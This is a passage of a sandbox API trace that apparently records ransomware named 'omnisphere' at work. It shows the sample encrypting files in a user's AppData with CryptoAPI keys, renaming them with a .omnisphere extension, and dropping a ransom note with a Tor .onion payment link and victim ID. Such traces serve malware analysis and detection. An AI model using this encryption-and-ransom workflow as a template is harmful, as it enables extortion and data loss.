returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*" [0117.966] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce46ecb7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce46ecb7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0117.966] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce46ecb7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce46ecb7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0117.966] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce46ecb7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce46ecb7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.966] GetProcessHeap () returned 0x1600000 [0117.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x1631518 [0117.966] PathCombineW (in: pszDest=0x1631518, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" [0117.967] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0117.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\accountpictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.967] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=196) returned 1 [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.967] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] GetTickCount () returned 0x115d7bf [0117.968] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668d68) returned 1 [0117.969] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639528) returned 1 [0117.969] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0117.969] CryptDestroyKey (hKey=0x1639528) returned 1 [0117.969] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0117.969] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc4, lpName=0x0) returned 0x288 [0117.969] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc4) returned 0x1480000 [0117.970] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669120) returned 1 [0117.970] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0117.970] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0117.970] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0117.970] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.970] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.970] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.971] CryptDestroyKey (hKey=0x1639568) returned 1 [0117.971] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0117.971] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xc4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0117.971] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0117.973] GetProcessHeap () returned 0x1600000 [0117.973] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x169e608 [0117.973] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\accountpictures\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\accountpictures\\desktop.ini.omnisphere")) returned 1 [0117.974] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini.omnisphere.id" [0117.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\accountpictures\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0117.975] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0117.976] CloseHandle (hObject=0x3c0) returned 1 [0117.977] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.977] CloseHandle (hObject=0x288) returned 1 [0117.977] SetEndOfFile (hFile=0x28c) returned 1 [0117.978] FlushFileBuffers (hFile=0x28c) returned 1 [0117.984] CloseHandle (hObject=0x28c) returned 1 [0117.986] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned 1 [0117.986] GetProcessHeap () returned 0x1600000 [0117.986] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169e8d0 [0117.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.986] GetProcessHeap () returned 0x1600000 [0117.986] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693bc0 [0117.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693bc0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.987] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.987] GetProcessHeap () returned 0x1600000 [0117.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686f28 [0117.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686f28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.987] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.987] GetProcessHeap () returned 0x1600000 [0117.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162bc38 [0117.987] PathCombineW (in: pszDest=0x162bc38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\!DECRYPT_OMNISPHERE.txt" [0117.987] GetProcessHeap () returned 0x1600000 [0117.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1698f08 [0117.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\accountpictures\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.989] WriteFile (in: hFile=0x28c, lpBuffer=0x1698f08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1698f08*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0117.991] CloseHandle (hObject=0x28c) returned 1 [0117.991] GetProcessHeap () returned 0x1600000 [0117.991] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169e8d0 | out: hHeap=0x1600000) returned 1 [0117.991] GetProcessHeap () returned 0x1600000 [0117.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a638 [0117.991] PathCombineW (in: pszDest=0x166a638, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\unique_decrypt.key" [0117.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\accountpictures\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.992] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0117.993] CloseHandle (hObject=0x28c) returned 1 [0117.993] GetProcessHeap () returned 0x1600000 [0117.993] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166a638 | out: hHeap=0x1600000) returned 1 [0117.993] GetProcessHeap () returned 0x1600000 [0117.993] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631518 | out: hHeap=0x1600000) returned 1 [0117.993] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce46ecb7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce46ecb7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0117.993] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0117.994] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x276d64cb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276d64cb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.994] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x276d64cb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276d64cb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0117.994] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276d64cb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x276d64cb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276d64cb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0117.994] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xce46ecb7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce46ecb7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x276b03b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0117.994] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b03b6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x276b03b6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276b03b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0117.994] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276d64cb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x276d64cb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276d64cb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0117.994] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276d64cb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x276d64cb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276d64cb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0117.994] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.994] GetProcessHeap () returned 0x1600000 [0117.994] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e9a8 | out: hHeap=0x1600000) returned 1 [0117.994] GetProcessHeap () returned 0x1600000 [0117.994] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e548 | out: hHeap=0x1600000) returned 1 [0117.994] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="CloudStore", cAlternateFileName="CLOUDS~1")) returned 1 [0117.994] GetProcessHeap () returned 0x1600000 [0117.994] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x88) returned 0x1633528 [0117.994] PathCombineW (in: pszDest=0x1633528, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="CloudStore" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\CloudStore") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\CloudStore" [0117.995] GetProcessHeap () returned 0x1600000 [0117.995] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8c) returned 0x167bad0 [0117.995] PathCombineW (in: pszDest=0x167bad0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\CloudStore", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\CloudStore\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\CloudStore\\*" [0117.995] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\CloudStore\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.995] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0117.995] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 0 [0117.995] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.995] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\CloudStore\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", 